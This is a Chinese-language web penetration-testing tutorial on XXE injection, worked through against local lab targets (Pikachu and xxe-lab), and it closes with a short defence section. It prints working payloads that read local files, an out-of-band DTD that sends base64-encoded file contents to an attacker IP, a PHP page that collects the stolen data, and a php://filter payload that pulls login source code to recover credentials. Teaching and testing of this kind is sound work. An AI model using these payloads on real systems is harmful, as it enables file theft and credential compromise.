【网安-Web渗透测试-漏洞系列】XXE漏洞

XXE漏洞

一、XXE的概念与危害

XXE(XML External Entity Injection)漏洞为外部实体注入漏洞,该漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口、攻击内网网站等危害。

二、运行环境

1、目标机

名称
操作系统 Windows 10
中间件 phpStudy 2018
PHP版本 5.4.45
Apache 2.4

2、攻击机

名称
操作系统 Windows 10
中间件 phpStudy 2018
运行基础 Vmware Pro 15

三、XXE文件读取

说明: 重点针对目标机的操作。

(1)有回显

Step1:访问地址:

bash 复制代码
http://127.0.0.1/pikachu/vul/xxe/xxe_1.php

Step2:准备xml脚本
模板格式:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY <变量名> SYSTEM "file:///<文件的路径>"> 
]> 
<自定义标签>&<变量名>;</自定义标签>

样例1:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> 
]> 
<zoo>&xxe;</zoo>

说明:&xxe只是变量⽽已,可以随意修改。<zoo></zoo>也是自定义的标签,也可以随意改。
样例2:

bash 复制代码
<?xml version = "1.0"?>  
<!DOCTYPE any[ 
<!ENTITY abc "这是一个内容!"> 
]> 
<result>&abc;</result>

(2)无回显

说明: 目标机与攻击机均需要协同。

Step1:修改 D:\phpStudy\PHPTutorial\WWW\pikachu\vul\xxe\xxe_1.php 文件。

bash 复制代码
if(isset($_POST['submit']) and $_POST['xml'] != null){
    $xml =$_POST['xml'];
    $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
    if($data){
    	# 注释此行,变成无回显状态
        // $html.="<pre>{$data}</pre>";
    }else{
    	# 注释此行,变成无回显状态
        // $html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
    }
}

注意:

注释这两行后无法看到回显信息,这是从蓝队的角度考虑如何防御。

Step2:准备一个flag.txt于D:\phpStudy\PHPTutorial\WWW中。

bash 复制代码
# flag.txt的内容,该文件位于D:\phpStudy\PHPTutorial\WWW
flag:16yhg771819hfg

Step3:在攻击机中新建xxe.dtd⽂件。

bash 复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/phpStudy/PHPTutorial/WWW/flag.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://192.168.179.154/get.php?file=%file;'>">
%all;
%send;

注意:

①D:/phpStudy/PHPTutorial/WWW/flag.txt是指要读取的文件路径,此处也可以拿来设为其它文件。

http://192.168.179.154是攻击机的IP,不能设为127.0.0.1;因为设为127.0.0.1的话,目标机中处理xml请求时会认为将文件传送在目标机本身,因此一定要设为攻击机的IP。

③在攻击机(192.168.179.154)中需要自定义get.php页面。

Step4:在攻击机中新建get.php页面。

bash 复制代码
<?php
 $data = $_GET['file'];
 $myfile = fopen("file.txt","w+");
 fwrite($myfile,$data);
 fclose($myfile);
?>

Step5:在目标机的Pikachu的输⼊框输入如下xml。用来读取flag.txt。

bash 复制代码
<?xml version = "1.0"?>
<!DOCTYPE ANY[
<!ENTITY % dtd SYSTEM "http://192.168.179.154/xxe.dtd">
%dtd;]>


由此,红队使用此方法可以得到flag.txt文件的内容。蓝队所设置的不回显方法在这里失效。

流程总结如下:

四、XXE-Lab靶场实践

说明: 破解⽤户名与密码,此处⽤xxe漏洞获取⽤户名与密码。

1、靶场环境配置

Step1:将压缩包中的xxe-lab-master.zip\xxe-lab-master\php_xxe;
Step2:并复制到D:\phpStudy\PHPTutorial\WWW;
Step3:将php_xxe更名为xxe_lab。

最终部署地址为:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab

2、开始攻击

(1)登录,截取包

Step1:打开BurpSuite并在浏览器中设置好BurpSuite的代理,并开启Intercept on


Step2:开始登录系统

访问地址:

bash 复制代码
http://127.0.0.1/xxe_lab/



说明: 在此处发现了xml解析;说明存在漏洞。

(2)尝试XXE漏洞

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "2" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "file:///D://phpStudy//PHPTutorial//WWW//flag.txt">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


说明: 看到这样的结果,说明存在XXE漏洞。

(3)获取用户名密码

Step1:右击鼠标,选择"Send to Repeater"

Step2:复制如下脚本到图中 "1" 的位置

bash 复制代码
<!DOCTYPE ANY [
 <!ENTITY  file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
 ]>
 <user>
   <username>
     &file;
   </username>
   <password>
     12313
   </password>
 </user>


Step3:解析Base64编码

Step4:输入正确的用户名和密码

五、如何防御?

1、修改配置

说明: 这是从蓝队的视角做防御。

找到XXE_lab下的doLogin.php文件。

位置如下:

bash 复制代码
D:\phpStudy\PHPTutorial\WWW\xxe_lab\\doLogin.php

修改如下:

bash 复制代码
// XXE漏洞防御
// 禁⽌外部实体
// libxml_disable_entity_loader 必须为真true
libxml_disable_entity_loader(true);

2、再次展开攻击

说明: 这是从红队的视角开始攻击。


注意: 一旦libxml_disable_entity_loader(true);的设置生效,那么,围护网站的负责人将无法更新xml配置,因此,这样做防御也是存在副作用。即对自己人和外人均全部被禁止xml配置更新。

相关推荐
两个人的幸福3 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo5 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack5 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982076 天前
PHP 扩展——从入门到理解
php
鹏仔先生7 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下7 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
treesforest7 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
xingpanvip7 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
上海云盾第一敬业销售7 天前
深入解析WAF的工作原理与机制
web安全·ddos
憧憬成为web高手7 天前
l33t-hoster
学习·web安全·网络安全